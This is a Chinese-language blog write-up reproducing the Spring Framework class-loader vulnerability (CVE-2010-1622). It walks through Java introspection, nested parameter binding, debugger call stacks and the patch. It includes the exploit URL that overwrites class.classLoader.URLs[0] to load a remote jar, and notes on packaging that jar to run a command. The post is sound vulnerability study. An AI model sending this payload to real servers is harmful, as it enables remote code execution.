分析这个漏洞学习一个内省和Spring参数绑定,后面跟进一个更新的CVE,这个算是打基础。
影响范围
- Spring Framework
- >= 2.5.0, <= 2.5.6
- >= 3.0.0, <= 3.0.2
- Tomcat
- < 6.0.28
环境搭建
参考这个链接,不过我没有用docker,直接在本地运行了(注意需要jdk7)
然后也需要准备sp-exp.jar放到一个http服务下,后续访问的时候可以从这里面夹在代码执行。
zip -q -r sp-exp.jar *搞成压缩包

spring-form.tld和InputTag.tag的内容
1 | <?xml version="1.0" encoding="UTF-8"?> |
环境运行起来,是用这个代码
然后访问 http://localhost:8080/aaa/test?class.classLoader.URLs[0]=jar:http://127.0.0.1:8000/sp-exp.jar!/
即可看到效果

内省和JavaBean
先说一下JavaBean,之前接触fastjson的时候也有看到,是一种特殊的类,这种类的方法主要用于访问私有字段,并且方法名符合某种命名规则,如果两个模块之间传递信息,可以把信息封装进JavaBean,这种JavaBean实例对象称为值对象(value object),bean中一些信息字段和存储方法没有功能性方法,我把JavaBean理解成一种范式,一种规范,当一个类满足这个规范,这个类就能被其他特定的类调用,一个类被当作JavaBean使用时,JavaBean的属性是根据方法名2推断出来的,根本看不到java类内部的成员变量。
内省(Introspector)是Java对JavaBean类属性、时间的一种默认处理方法。其中的propertiesDescriptor实际上来自于对Method的解析。
现在声明一个JavaBean,有一个私有属性id,然后通过getter/setter方法来访问/设置这个属性。Java提供一套API用来访问某个熟悉的getter/setter方法,就是内省。
1 | BeanInfo info = Introspector.getBeanInfo(Test.class); |
Java提供了方法可以获得里面的内容
现在有一个Test类,有不同的情况
1 | public class Test { |
当BeanInfo info = Introspector.getBeanInfo(Test.class);时,输出是
1 | Property: class |
注意到没有pass这个属性有getPass方法(getter),也能获取到pass(内省机制认为存在这个属性),而class是对应Object.class
当BeanInfo info = Introspector.getBeanInfo(Test.class,Object.class);时,输出是
1 | Property: id |
getBeanInfo的用法有两种
1 | BeanInfo getBeanInfo(Class beanClass) |
当没有使用stopclass的时候(也就是没有用Object.class的时候)所以java对象都默认继承Object基础类,并且它存在一个getClass()方法,内省机制认为也存在这么一个class属性。
而当 BeanInfo info = Introspector.getBeanInfo(Class.class);时,可以获得很多很多
1 | Property: annotation |
其中就有classLoader
SpringMVC参数绑定
Spring MVC 的“参数绑定”就是把 HTTP 请求里出现的字符串(查询串、表单、JSON、XML、PathVariable、Header……)变成 Java 对象的过程。
无论是spring mvc的数据绑定(将各式参数绑定到@RequestMapping注解的请求处理方法的参数上),还是BeanFactory(处理@Autowired注解)都会使用到BeanWrapper接口。
最核心的是这张图
BeanWrapperImpl具体实现了创建,持有以及修改bean的方法。
其中的setPropertyValue方法可以将参数值注入到指定bean的相关属性中(包括list,map等),同时也可以嵌套设置属性
比如现在tb有一个spouse属性,也是TestBean
1 | TestBean tb = new TestBean(); |
有一种递归查找的意思,gemini给了一个更生动的例子:
解析属性路径 (Property Path Analysis):
BeanWrapper拿到参数名,例如class.classLoader.URLs[0],它会将其解析为一个嵌套路径。递归获取属性 (Nested Navigation): 它必须一层一层地“剥开”对象。
处理
class:BeanWrapper询问User类:“你有class属性吗?”(通过BeanInfo内省)。- 回答:“有,我有
getClass()方法。” - 动作:调用
user.getClass(),拿到Class对象。
- 回答:“有,我有
处理
classLoader: 切换目标到Class对象。询问:“你有classLoader属性吗?”- 回答:“有,我有
getClassLoader()方法。” - 动作:调用
cls.getClassLoader(),拿到WebappClassLoader对象。
- 回答:“有,我有
处理
URLs[0]: 切换目标到WebappClassLoader。询问:“你有URLs属性吗?”- 回答:“有,我有
getURLs()方法。”
- 回答:“有,我有
类型转换 (Type Conversion): 假设最后一个属性是
String,而你需要int,这里会发生转换。但在漏洞场景中,我们需要的是 URL 注入。赋值 (Setting Value): 最终,
BeanWrapper调用目标属性的 Setter 方法。然后给变量赋值
变量覆盖
整理一下,理解这个漏洞的原理,简单一句话就是:现在有内省可以获得属性,SpringMVC在此机制基础上支持嵌套属性绑定,有setter方法就可以给变量赋值。
还有一个问题:如果一个类没有setter方法还能被赋值吗?
答案是可以的,这里我直接用漏洞paylaod调试看过程
断点打在这里

然后发送payload http://localhost:8080/aaa/test?class.classLoader.URLs[0]=jar:http://127.0.0.1:8000/sp-exp.jar!/
调试到后面 这里会有是否数组的判断,如果是Array绕过了set方法,直接调用底层赋值,除此之外list,map也有类似的处理,所以这三种类型是不需要有setter方法也能赋值的。

目前到这一步的调用栈是
1 | setPropertyValue:902, BeanWrapperImpl (org.springframework.beans) |
过程梳理
前面可能说的有点乱,在我多次调试反复看之后在脑子里终于把内省和spring参数绑定这条链路打通,认为从头说一下
一开始断点在这里

会进入下一个 setPropertyValues()
当前的setPropertyValues()里面,有一个 nestedBw = this.getBeanWrapperForPropertyPath(propertyName);,跟进

这个方法就是SpringMVC参数嵌套绑定的地方,有一个pos的判断,而且这里面有递归调用。
PropertyAccessorUtils.getFirstNestedPropertySeparatorIndex(propertyPath); 这句判断当前的propertyPath是否还有下一层,可以这么通俗地理解。

断点打在if这句判断,可以看到多次pos都不一样,关注当前的变量
BeanWrapperImpl都在变
org.springframework.beans.BeanWrapperImpl: wrapping object [com.example.demo.User@76c9c28b]

org.springframework.beans.BeanWrapperImpl: wrapping object [java.lang.Class@aaaec4e]

**[org.apache.catalina.loader.WebappClassLoader@5864e484]**,知道当前是pos为-1,也就是propertyPath为URLs[0]最后一个时,当前的BeanWrapperImpl变成了WebappClassLoader

然后跳出递归,返回ClassLoader,再回到setPropertyValues()中,nestedBw也就是和ClassLoader相关
而变量是怎么实现 User -> Class -> ClassLoader 的变化的呢? 这就和内省机制有关
1 | protected BeanWrapperImpl getBeanWrapperForPropertyPath(String propertyPath) { |
BeanWrapperImpl nestedBw = this.getNestedBeanWrapper(nestedProperty); 这句里面跟进,有一个getPropertyValue(token)

然后走走走就会到getBeanInfo 也就是Spring参数绑定借助内省的地方,后面的class,classLoader都会再来到这里,到后面发现有getUrls()方法,其实这部分里面还有涉及反射invoke,强烈建议自己去调试一次就知道过程了。

这部分具体调用栈是:
1 | <init>:224, CachedIntrospectionResults (org.springframework.beans) |
回到前面的获取到nestedBw,后面会再进入一次 nestedBw.setPropertyValue(tokens, pv);
当前的this就是WebappClassLoader ,getterTokens是URLs

这里面 **oldValue = this.getPropertyValue(getterTokens);**,获取到URLs数组

下一步是在 if (oldValue.getClass().isArray()) 这个判断里(目前是,会进入进入if)直接调用底层赋值把我们payload的内容set进去

至此URLs数组的内容就被我们覆盖了(这是后面jsp渲染阶段的截图)

到了后面就和tomcat的jsp渲染机制相关了,首次访问某个jsp会加载,具体的流程就不跟了
后面渲染完之后,test.jsp会到本地

渲染后的test_jsp.java里面有一个doTag()

对应InputTag_tag.java里面的doTag,可以看到恶意代码已经加载进入文件里了

后面每次访问/test都会执行这个命令弹出计算机
至此分析完毕,前面的过程可能有点绕,这里配合一张流程图食用更佳
漏洞修复
这里直接引用别的师傅写的:
https://github.com/spring-projects/spring-framework/compare/v3.0.2.RELEASE..v3.0.3.RELEASE
在通过内省向
propertyDescriptorCache放PropertyDescriptor时,如果beanClass是Class类的话则忽略它的classLoader属性。这里在JDK9的环境下可以绕过:
class.module.classLoader,也就是CVE-2022-22965。
小结
这个漏洞虽然很老但是分析下来还是有收获的,我反复调试了很多次,就是为了理解两个机制是怎么串联起来的。
后来脑子里理解了串联起来了,要用图文写下来还花了好多时间,但是我怕后面忘了
这个过程中我要求自己多思考几个问题。比如昨天晚上注意到递归pos那里有一个getFirstNestedPropertySeparatorIndex获取pos
我问AI:“历史上有没有别的漏洞利用getFirstNestedPropertySeparatorIndex这个解析环节 使用别的字符从而绕过达到某种特定目的的”
答案是很难,巴拉巴拉说了一堆,最后
这也是为什么在 Java 安全审计中,我们通常不关注 Spring 的参数解析层(因为它太稳健了),而是关注参数解析后的绑定目标(DataBinder)是否开放了过于危险的类(如 Class, Module, Context 等)。
还是很有收获的,断断续续写了好几天,接下来也许修改这篇文章补上Spring4Shell,因为两个漏洞差不多就是后面的有了绕过
最近还有其他想复现分析的漏洞,希望自己能多思考抽象出来😭
参考
各个AI
